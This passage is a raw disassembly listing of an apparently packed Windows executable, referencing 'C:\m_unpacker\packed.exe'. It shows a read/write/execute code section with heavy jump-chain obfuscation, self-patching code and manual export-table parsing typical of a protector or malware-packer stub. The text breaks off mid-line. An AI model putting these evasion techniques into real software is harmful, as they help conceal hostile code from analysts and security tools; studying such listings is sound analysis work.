sub_41B497+5r align 10h dword_742270 dd 0 dword_742274 dd 0 ; sub_415CAB+8Bw dword_742278 dd 0 ; sub_41AB37:loc_41AB49r ... align 10h dword_742280 dd 0 dword_742284 dd 0 ; sub_4157BF:loc_4158BBr ... dword_742288 dd 0 dword_74228C dd 0 ; sub_417F96+1Ar ... byte_742290 db 0 ; DATA XREF: sub_417E92+3r ; sub_417E92+98r ... align 4 dword_742294 dd 0 ; sub_418074+21w ... byte_742298 db 0 ; DATA XREF: sub_418074+51w align 4 dword_74229C dd 0 ; sub_418645+3Ar ... dword_7422A0 dd 0 ; sub_418645+43r ... dword_7422A4 dd 0 ; sub_418411+5r dword_7422A8 dd 0 dword_7422AC dd 2 dup(0) dword_7422B4 dd 0 ; sub_414A03:loc_414AD0r ... dd 3 dup(0) dword_7422C4 dd 0 ; sub_414A03+BFr ... dd 0 dword_7422CC dd 1 ; sub_419FC4+4Cw ... dword_7422D0 dd 1 ; sub_41A3AC+4w ... dword_7422D4 dd 0 dd 0 dword_7422DC dd 0 ; sub_41A95B+46w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41ABF0:loc_41AC07o ; .data:off_742264o align 4 dd 3Ah dup(0) dword_7423E4 dd 1 ; sub_41AE3D+23w ... dword_7423E8 dd 0 dword_7423EC dd 0 ; sub_41A891:loc_41A8BAw ... dword_7423F0 dd 1 ; sub_41B513:loc_41B57Dw align 8 word_7423F8 dw 0 ; DATA XREF: sub_41BC28+1Ao ; sub_41BC28+46r byte_7423FA db 0 ; DATA XREF: sub_41BC28+39r align 4 dword_7423FC dd 7 dup(0) dword_742418 dd 0 ; sub_41BC28+5Co dword_74241C dd 0 dword_742420 dd 0 dword_742424 dd 0 dword_742428 dd 77C2807Ch ; sub_41BD4B+38r ... align 10h dword_742430 dd 0 ; sub_41BFB2+63w ... align 8 dword_742438 dd 0 ; sub_41BFB2+46r dword_74243C dd 10h dup(0) word_74247C dw 0 ; DATA XREF: sub_41C210+A8r word_74247E dw 0 ; DATA XREF: sub_41BFB2+54r ; sub_41C210+DBr ... word_742480 dw 0 ; DATA XREF: sub_41C210+CAr word_742482 dw 0 ; DATA XREF: sub_41C210+D3r ; sub_41C210:loc_41C302r word_742484 dw 0 ; DATA XREF: sub_41C210+C0r word_742486 dw 0 ; DATA XREF: sub_41C210+B8r word_742488 dw 0 ; DATA XREF: sub_41C210+B0r word_74248A dw 0 ; DATA XREF: sub_41C210+9Er dword_74248C dd 0 dword_742490 dd 10h dup(0) word_7424D0 dw 0 ; DATA XREF: sub_41C210+46r word_7424D2 dw 0 ; DATA XREF: sub_41BFB2:loc_41C029r ; sub_41C210+78r ... word_7424D4 dw 0 ; DATA XREF: sub_41C210+67r word_7424D6 dw 0 ; DATA XREF: sub_41C210+70r ; sub_41C210:loc_41C294r word_7424D8 dw 0 ; DATA XREF: sub_41C210+5Dr word_7424DA dw 0 ; DATA XREF: sub_41C210+55r word_7424DC dw 0 ; DATA XREF: sub_41C210+4Dr word_7424DE dw 0 ; DATA XREF: sub_41C210+3Er dword_7424E0 dd 0 dword_7424E4 dd 0 ; sub_41BFB2:loc_41C0FEr ... dword_7424E8 dd 0 dword_7424EC dd 0 dword_7424F0 dd 0 ; resolved to->USER32.MessageBoxA ; sub_41CA11+2Ew ... dword_7424F4 dd 0 ; resolved to->USER32.GetActiveWindow ; sub_41CA11:loc_41CA60r dword_7424F8 dd 0 ; resolved to->USER32.GetLastActivePopup ; sub_41CA11+60r dword_7424FC dd 0 ; sub_41D474+6Do dword_742500 dd 0 ; sub_41D474+44o dword_742504 dd 0 ; sub_41D474+37o dword_742508 dd 0 ; sub_41D474+51o align 10h dword_742510 dd 0 dword_742514 dd 0 ; sub_41DB68+48w ... byte_742518 db 1 ; DATA XREF: sub_403527r sub_403527+9w ... align 4 dword_74251C dd 0BD4968h ; sub_419D5A+14r ... dword_742520 dd 400h dup(0) ; .data:00437EB0o dword_743520 dd 200h ; sub_4198AE+56r ... dd 7 dup(0) dword_743540 dd 0BE0EF0h ; sub_41991B+75r ... dword_743544 dd 3Fh dup(0) dword_743640 dd 20h ; sub_4199F4+Cr ... dword_743644 dd 4E4h ; sub_41A213+65w ... align 10h dword_743650 dd 3 dup(0) ; sub_41A213+171o ... dword_74365C dd 0 ; sub_41A213+15Dw ... byte_743660 db 0 ; DATA XREF: sub_41A452:loc_41A55Ew ; sub_41A452:loc_41A57Bw ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_743760 db 0 ; DATA XREF: sub_41A213+5Co ; sub_41A213+AFo ... byte_743761 db 0 ; DATA XREF: sub_415628+5Dr ; sub_41A213+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_743864 dd 0 ; sub_41A213+12Bw ... dword_743868 dd 10h ; sub_416FD8+5r ... dword_74386C dd 0 ; sub_4169A4+259r ... dword_743870 dd 0BD0650h ; sub_4169A4+310w ... dword_743874 dd 0 ; sub_4169A4+22Cr ... dword_743878 dd 1 ; sub_416979r ... dword_74387C dd 0BD0650h ; sub_416979+8r ... dword_743880 dd 0BD0000h ; sub_413F7F+21r ... dword_743884 dd 142340h ; sub_41AADF+Fr ... dword_743888 dd 1 ; sub_41D5E6r dword_74388C dd 1 ; sub_41A5D7+11w ... dword_743890 dd 0BE1B4Ch ; sub_414913:loc_414955r ... dword_743894 dd 0BE1B40h ; sub_414913+Cr ... byte_743898 db 1 ; DATA XREF: sub_41E3E4+15r ; sub_41E3E4+1Ew align 800h _data ends ; Section 4. (virtual address 00344000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00344000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _05c2ey_k segment para public 'DATA' use32 assume cs:_05c2ey_k ;org 744000h dword_744000 dd 3440CCh, 0 dd 0FFFFFFFFh, 34403Ch, 3440B4h, 344108h, 0 dd 0FFFFFFFFh, 3440E8h, 344104h, 5 dup(0) aKernel32_dll_0 db 'kernel32.dll',0 align 4 dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4C0000h dd 694C6461h, 72617262h, 4179h, 65470000h, 6F725074h, 64644163h dd 73736572h, 0 dd 78450000h, 72507469h, 7365636Fh, 73h, 69560000h, 61757472h dd 6C6C416Ch, 636Fh, 69560000h, 61757472h, 6572466Ch, 65h dd 7C80B6A1h, 7C801D77h, 7C80ADA0h, 7C81CDDAh, 7C809A51h dd 7C809AE4h, 34404Ch, 344060h, 344070h, 344084h, 344094h dd 3440A4h, 0 aUser32_dll_0 db 'user32.dll',0 align 4 dd 654D0000h, 67617373h, 786F4265h, 41h, 7E45058Ah, 3440F4h dd 3BDh dup(0) _05c2ey_k ends ; --------------------------------------------------------------------------- ; Section 5. (virtual address 00345000) ; Virtual size : 00013000 ( 77824.) ; Section size in file : 00013000 ( 77824.) ; Offset to raw data for section: 00345000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _0z4jwtox segment para public 'CODE' use32 assume cs:_0z4jwtox ;org 745000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing loc_745000: ; CODE XREF: _0z4jwtox:loc_75766Cj ; DATA XREF: _0xtwbvzc:00771288o jz loc_7533A3 jmp loc_74C6A8 ; --------------------------------------------------------------------------- not edi jmp loc_7470E2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_183. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755B22 loc_745013: ; CODE XREF: sub_755B22-5422j jmp nullsub_15 ; END OF FUNCTION CHUNK FOR sub_755B22 ; --------------------------------------------------------------------------- push 0AAEBB9F3h jmp sub_7510EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7462C2 loc_745022: ; CODE XREF: sub_74EB61+46B5j ; sub_7462C2+CF63j sub eax, 0EE2B9DEh add eax, 9C144CA3h xor eax, 0F0FCBD0h loc_745034: ; CODE XREF: sub_74FE55+45BDj add eax, ebp loc_745036: ; CODE XREF: sub_747AEC+7B1Ej add eax, 628121B0h mov eax, [eax] loc_74503E: ; CODE XREF: sub_756AA2-8070j add eax, eax cdq jmp loc_752BFC ; END OF FUNCTION CHUNK FOR sub_7462C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D782 loc_745046: ; CODE XREF: sub_74D782-40FBj test esi, ecx jmp loc_749D85 ; END OF FUNCTION CHUNK FOR sub_74D782 ; =============== S U B R O U T I N E ======================================= sub_74504D proc near ; DATA XREF: _0z4jwtox:loc_74506Do arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0074E7E7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007500EF SIZE 0000001A BYTES add edi, 5E37290Bh mov [edi], eax pop edi lea eax, loc_7500EF mov byte ptr [eax], 0C3h jmp loc_74E7E7 sub_74504D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C670 loc_745064: ; CODE XREF: sub_74504D:loc_7500EFj ; sub_74C670:loc_7547E3j pop edx mov eax, [esp-4+arg_0] jmp loc_74B7E2 ; END OF FUNCTION CHUNK FOR sub_74C670 ; --------------------------------------------------------------------------- loc_74506D: ; CODE XREF: _0z4jwtox:loc_74F8D3j ; _0z4jwtox:00751FDCj push offset sub_74504D jmp locret_74A4C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AE46 loc_745077: ; CODE XREF: sub_74AE46+961Aj jge loc_745F5F cmp ebp, edi jmp loc_74E66C ; END OF FUNCTION CHUNK FOR sub_74AE46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A25C loc_745084: ; CODE XREF: sub_74A25C+18j push offset sub_74A941 jmp loc_74E65C ; END OF FUNCTION CHUNK FOR sub_74A25C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_190. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_74508F: ; CODE XREF: sub_74FE55:loc_74C086j sub edi, 0B9548586h or edi, 9731BA5Fh loc_74509B: ; CODE XREF: _0z4jwtox:loc_745DCDj add edi, 213B3B42h popf xchg edi, [esp-4+arg_0] jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_74FE55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756826 loc_7450AA: ; CODE XREF: sub_756826-7A09j jnp loc_757529 xor eax, 0E71C5D81h jmp loc_7540A9 ; END OF FUNCTION CHUNK FOR sub_756826 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75043C loc_7450BB: ; CODE XREF: sub_75043C+33A2j ; sub_75043C:loc_755236j ... jz loc_7514FF mov ebx, [eax+18h] mov ecx, [ebx+3Ch] mov ecx, [ebx+ecx+78h] or ecx, ecx jz loc_748342 mov ecx, [ebx+ecx+0Ch] jmp loc_7514EF ; END OF FUNCTION CHUNK FOR sub_75043C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_7450DC: ; CODE XREF: sub_747736+1D7j jno loc_747B8F loc_7450E2: ; CODE XREF: sub_7499A5-37F2j call sub_746ED2 loc_7450E7: ; CODE XREF: sub_74B719+A484j jmp loc_753D4D ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7543C5 loc_7450EC: ; CODE XREF: sub_7543C5-4C95j jmp loc_7523ED ; END OF FUNCTION CHUNK FOR sub_7543C5 ; --------------------------------------------------------------------------- loc_7450F1: ; CODE XREF: _0z4jwtox:007451AAj jmp locret_74E713 ; --------------------------------------------------------------------------- loc_7450F6: ; CODE XREF: _0z4jwtox:00752ABCj jbe loc_749A92 ; =============== S U B R O U T I N E ======================================= sub_7450FC proc near ; CODE XREF: _0z4jwtox:00756E93p ; FUNCTION CHUNK AT 00754EBA SIZE 00000011 BYTES xchg ebx, [esp+0] pop ebx jnz loc_754EBA jmp loc_752483 sub_7450FC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A4B0 loc_74510B: ; CODE XREF: sub_74A4B0+5CACj push 0A3DBFF8Ah pop ecx add ecx, 8C0E5691h rol ecx, 0Bh add ecx, 0ADC38D5Eh xchg ecx, [esp+0] jmp loc_750357 ; END OF FUNCTION CHUNK FOR sub_74A4B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749608 loc_745128: ; CODE XREF: sub_749608-1BD7j mov [ebx], ebp mov ebp, 0FD2742C4h adc esi, 0E01E900Fh jmp loc_74F2FD ; END OF FUNCTION CHUNK FOR sub_749608 ; =============== S U B R O U T I N E ======================================= sub_74513A proc near ; DATA XREF: sub_74AAC1+3C01o add ecx, 0E0C4C5C8h xchg ecx, [esp+0] jmp sub_746E93 sub_74513A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_745148: ; CODE XREF: sub_747C22+3BE7j push eax mov eax, [ebp-14h] push eax push eax mov eax, esi xchg eax, [esp+0Ch+var_C] push 9AF28D1h jmp loc_75752E ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746E37 loc_74515D: ; CODE XREF: sub_746E37:loc_74586Cj test ebp, 0FA78AE95h jmp loc_7527D3 ; END OF FUNCTION CHUNK FOR sub_746E37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BDFA loc_745168: ; CODE XREF: sub_74BDFA:loc_7544ECj push offset sub_74EB61 jmp loc_74C494 ; END OF FUNCTION CHUNK FOR sub_74BDFA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBCF loc_745172: ; CODE XREF: sub_74CBCF:loc_7466FBj and ebx, 0F27EA7AFh cmp ebx, 0D5C9B85h jmp loc_750AA2 ; END OF FUNCTION CHUNK FOR sub_74CBCF ; =============== S U B R O U T I N E ======================================= sub_745183 proc near ; CODE XREF: _0z4jwtox:0074740Ej ; _0z4jwtox:loc_753A5Dp var_4 = dword ptr -4 ; FUNCTION CHUNK AT 007469CA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074F91B SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00754571 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075664B SIZE 00000006 BYTES xchg edi, [esp+0] pop edi push edx push ebx push 32972ABEh pop ebx and ebx, 3054D712h jmp loc_7469CA sub_745183 endp ; --------------------------------------------------------------------------- loc_74519A: ; CODE XREF: _0z4jwtox:0074F03Ej test edx, 280DB2ABh jmp loc_75329D ; --------------------------------------------------------------------------- push offset sub_748357 jmp loc_7450F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7473D1 loc_7451AF: ; CODE XREF: _0z4jwtox:0075487Bj ; sub_7473D1:loc_757454j add ebx, 0E406BEAFh mov [ebx], eax call sub_755E78 loc_7451BC: ; CODE XREF: sub_746C5E+10818j jmp loc_74E2E3 ; END OF FUNCTION CHUNK FOR sub_7473D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7571A1 loc_7451C1: ; CODE XREF: sub_7571A1-11B86j jmp loc_75677A ; END OF FUNCTION CHUNK FOR sub_7571A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7508F9 loc_7451C6: ; CODE XREF: sub_7508F9-9CA0j inc dword ptr [ebp-0Ch] ; END OF FUNCTION CHUNK FOR sub_7508F9 ; START OF FUNCTION CHUNK FOR sub_7473D1 loc_7451C9: ; CODE XREF: sub_7473D1:loc_747F08j jmp loc_756D89 ; END OF FUNCTION CHUNK FOR sub_7473D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750243 loc_7451CE: ; CODE XREF: _0z4jwtox:loc_756F90j ; sub_750243+6D68j inc [ebp+var_8] inc [ebp+var_C] jmp loc_74DD79 ; END OF FUNCTION CHUNK FOR sub_750243 ; =============== S U B R O U T I N E ======================================= sub_7451D9 proc near ; CODE XREF: sub_748574-8AAj ; _0z4jwtox:007494D1p ... ; FUNCTION CHUNK AT 00749E1D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074ED97 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074F244 SIZE 00000005 BYTES jnb sub_755B5B push ebp mov ebp, esp jmp loc_74ED97 sub_7451D9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747B31 loc_7451E7: ; CODE XREF: sub_747B31+79BCj pop eax rol edi, 1 jmp loc_754CE4 ; END OF FUNCTION CHUNK FOR sub_747B31 ; =============== S U B R O U T I N E ======================================= sub_7451EF proc near ; CODE XREF: sub_4169A4+257p ; sub_4169A4+2B2p ... ; FUNCTION CHUNK AT 00754DDA SIZE 00000005 BYTES push offset loc_756A50 jmp loc_754DDA sub_7451EF endp ; --------------------------------------------------------------------------- rol eax, 1Ah xor eax, 0DB893C7Eh rol eax, 13h sub eax, 0B4DB56A8h jmp loc_753ECE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BFF8 loc_745210: ; CODE XREF: sub_74BFF8+11j pop eax add eax, 2966D6F1h and eax, 0C23F895Bh test eax, 400h jmp loc_745B6E ; END OF FUNCTION CHUNK FOR sub_74BFF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746DD8 loc_745228: ; CODE XREF: sub_746DD8+8DEDj push edx call sub_74FACE mov eax, 0B4F3C01h call sub_746E93 mov ds:off_41F0C0, eax jmp loc_7534AC ; END OF FUNCTION CHUNK FOR sub_746DD8 ; =============== S U B R O U T I N E ======================================= sub_745243 proc near ; DATA XREF: _0z4jwtox:007531E3o var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0074CE41 SIZE 00000023 BYTES mov eax, [esp+0] push ecx mov ecx, edx xchg ecx, [esp+4+var_4] push eax push 0B2FED3D5h pop eax jmp loc_74CE41 sub_745243 endp ; --------------------------------------------------------------------------- mov ds:off_41F0C4, eax lea eax, sub_7528FA mov byte ptr [eax], 0C3h jmp loc_74D754 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749229 loc_74526C: ; CODE XREF: sub_749229j pop edx mov eax, [esp-4+arg_0] push edx jmp loc_757884 ; END OF FUNCTION CHUNK FOR sub_749229 ; =============== S U B R O U T I N E ======================================= sub_745276 proc near ; DATA XREF: _0z4jwtox:0074A879o ; FUNCTION CHUNK AT 00753B93 SIZE 00000005 BYTES add eax, [ebp-4] xor edx, edx call sub_749C95 loc_745280: ; CODE XREF: sub_752DF2-5D0Ej jmp loc_753B93 sub_745276 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75275A loc_745285: ; CODE XREF: sub_75275A-BCEDj shl ecx, 0Eh ror edi, 0Ah mov esi, [ebx] jmp loc_74CE30 ; END OF FUNCTION CHUNK FOR sub_75275A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_745292: ; CODE XREF: sub_747C22-2286j ; sub_747C22:loc_74956Bj push offset sub_74A657 jmp loc_7510DF ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- loc_74529C: ; DATA XREF: sub_745911+9325o add edi, 625B65A7h push offset sub_74F249 jmp loc_755557 ; --------------------------------------------------------------------------- sub ecx, edx jmp sub_7491FD ; --------------------------------------------------------------------------- loc_7452B3: ; CODE XREF: _0z4jwtox:0075159Fj push 3CECDFE2h ; START OF FUNCTION CHUNK FOR sub_74CBB7 loc_7452B8: ; CODE XREF: sub_74CBB7:loc_75158Bj call sub_74A07B ; END OF FUNCTION CHUNK FOR sub_74CBB7 ; START OF FUNCTION CHUNK FOR sub_74F15D loc_7452BD: ; CODE XREF: sub_74F15D-B5Cj jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_74F15D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BD6F loc_7452C2: ; CODE XREF: sub_74BD6F-392Fj jmp loc_753C41 ; END OF FUNCTION CHUNK FOR sub_74BD6F ; --------------------------------------------------------------------------- xchg edx, [esi] jmp sub_74C670 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75364C loc_7452CE: ; CODE XREF: sub_75364C:loc_7467DBj xor eax, edx pop edx jmp loc_747166 ; END OF FUNCTION CHUNK FOR sub_75364C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E762 loc_7452D6: ; CODE XREF: sub_74E762j push 30B5313Eh pop eax jmp loc_74D745 ; END OF FUNCTION CHUNK FOR sub_74E762 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CD80 loc_7452E1: ; CODE XREF: sub_74CD80:loc_754F0Dj mov eax, [ebp-0Ch] add [ebp-8], eax ; END OF FUNCTION CHUNK FOR sub_74CD80 ; START OF FUNCTION CHUNK FOR sub_748C0D loc_7452E7: ; CODE XREF: sub_748C0D+C49j mov eax, [ebp-8] mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_748C0D ; --------------------------------------------------------------------------- loc_7452EE: ; CODE XREF: _0z4jwtox:0074E108j jmp loc_754E97 ; =============== S U B R O U T I N E ======================================= sub_7452F3 proc near ; CODE XREF: sub_74E03D-586Ep ; sub_74B719+4p ... ; FUNCTION CHUNK AT 007458DF SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00745A98 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00746585 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0074A39E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0074AB64 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074C5AE SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0074F43E SIZE 00000019 BYTES ; FUNCTION CHUNK AT 007522A8 SIZE 00000005 BYTES jb sub_74BE8E loc_7452F9: ; CODE XREF: _0z4jwtox:loc_756059j push ebp jmp loc_74C5AE sub_7452F3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E762 loc_7452FF: ; CODE XREF: sub_74E762-6E42j ; sub_74E762:loc_754AE9j mov eax, 10726C00h push eax push offset loc_749CE0 jmp nullsub_136 ; END OF FUNCTION CHUNK FOR sub_74E762 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A7D8 loc_74530F: ; CODE XREF: sub_74A7D8+5527j jz loc_7539C0 jmp loc_745B1B ; END OF FUNCTION CHUNK FOR sub_74A7D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7474B9 loc_74531A: ; CODE XREF: sub_7474B9:loc_74F2D3j cmp al, 0A4h jz loc_74F6F3 jmp loc_74D995 ; END OF FUNCTION CHUNK FOR sub_7474B9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_216. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746128 loc_745328: ; CODE XREF: sub_746128+12j pop ebp retn ; END OF FUNCTION CHUNK FOR sub_746128 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74673E loc_74532A: ; CODE XREF: sub_74673E:loc_746756j mov eax, [ebp-4] cmp byte ptr [eax], 0 jnz loc_746A43 jmp loc_749CBC ; END OF FUNCTION CHUNK FOR sub_74673E ; =============== S U B R O U T I N E ======================================= sub_74533B proc near ; DATA XREF: sub_74A7D8+5E34o xor eax, 0B4744145h mov edx, [esp+0] call sub_7484F5 loc_745349: ; CODE XREF: sub_756496-217Aj jmp nullsub_81 sub_74533B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D4D3 loc_74534E: ; CODE XREF: sub_74D4D3+Bj jmp loc_74AC29 ; END OF FUNCTION CHUNK FOR sub_74D4D3 ; --------------------------------------------------------------------------- loc_745353: ; CODE XREF: _0z4jwtox:0074A128j jmp sub_750C4E ; --------------------------------------------------------------------------- loc_745358: ; DATA XREF: sub_74BE8E-51E3o inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] mov eax, ds:dword_75162C[eax*4] mov [ebp-8], eax jmp loc_752313 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_107. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F688 loc_74536E: ; CODE XREF: sub_74F688-4E20j jmp nullsub_217 ; END OF FUNCTION CHUNK FOR sub_74F688 ; --------------------------------------------------------------------------- loc_745373: ; DATA XREF: sub_74A71A+7C09o cmp dword ptr [ebp-1Ch], 66h jnz loc_75652B mov eax, 6 push offset loc_74B1CA jmp locret_745E15 ; --------------------------------------------------------------------------- loc_74538C: ; DATA XREF: sub_749184-23D5o add edi, 0AF2C0A9Ah xchg edi, [esp] jmp sub_74DAAF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75712E loc_74539A: ; CODE XREF: sub_75712E-6C60j mov [ebx], eax pop ebx call sub_7496A8 loc_7453A2: ; CODE XREF: sub_752A54:loc_74B127j jz loc_7573A4 jmp loc_74DBF6 ; END OF FUNCTION CHUNK FOR sub_75712E ; =============== S U B R O U T I N E ======================================= sub_7453AD proc near ; DATA XREF: sub_74D782-6176o ; FUNCTION CHUNK AT 0074ECCC SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0074F286 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075025F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 007563BD SIZE 0000000B BYTES cmp byte ptr [eax], 0F1h jnz loc_754A30 jmp loc_74F286 sub_7453AD endp ; --------------------------------------------------------------------------- mov [ebx], ecx jmp sub_74BF3A ; --------------------------------------------------------------------------- shr edi, 16h jmp sub_753DDE ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_29. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7474B9 loc_7453CB: ; CODE XREF: sub_7474B9+68F7j pop ebp mov eax, [esp-4+arg_0] push eax mov eax, edx xchg eax, [esp+0] push ebx push 0BD5F1BEh jmp loc_7481C5 ; END OF FUNCTION CHUNK FOR sub_7474B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_7453E0: ; CODE XREF: sub_747C22+59C0j add eax, ebp add eax, 6F8B18B9h mov eax, [eax] mov eax, [eax] shl eax, 3 jmp loc_74DCD9 ; END OF FUNCTION CHUNK FOR sub_747C22 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_68. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_7453F5: ; CODE XREF: _0z4jwtox:0074C629j ja loc_74F6DD ; =============== S U B R O U T I N E ======================================= sub_7453FB proc near ; CODE XREF: sub_74F78B-1426p ; FUNCTION CHUNK AT 00750D52 SIZE 0000000A BYTES xchg esi, [esp+0] pop esi call sub_746E93 jmp loc_750D52 sub_7453FB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A821 loc_745409: ; CODE XREF: sub_74A821+Dj jnz loc_74AED3 jmp loc_7500A9 ; END OF FUNCTION CHUNK FOR sub_74A821 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_213. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7504F1 loc_745415: ; CODE XREF: sub_7504F1:loc_751176j xchg edx, [esp+4+var_4] jmp loc_747C00 ; END OF FUNCTION CHUNK FOR sub_7504F1 ; =============== S U B R O U T I N E ======================================= sub_74541D proc near ; DATA XREF: _0z4jwtox:0074D320o mov byte ptr [eax], 0C3h jmp nullsub_294 sub_74541D endp ; =============== S U B R O U T I N E ======================================= sub_745425 proc near ; CODE XREF: sub_408701+35p ; sub_40CC09+391Bp ... push eax call sub_749254 loc_74542B: ; CODE XREF: sub_74698F+FC75j jmp nullsub_21 sub_745425 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749B76 loc_745430: ; CODE XREF: sub_749B76-24D8j jmp loc_75747B ; END OF FUNCTION CHUNK FOR 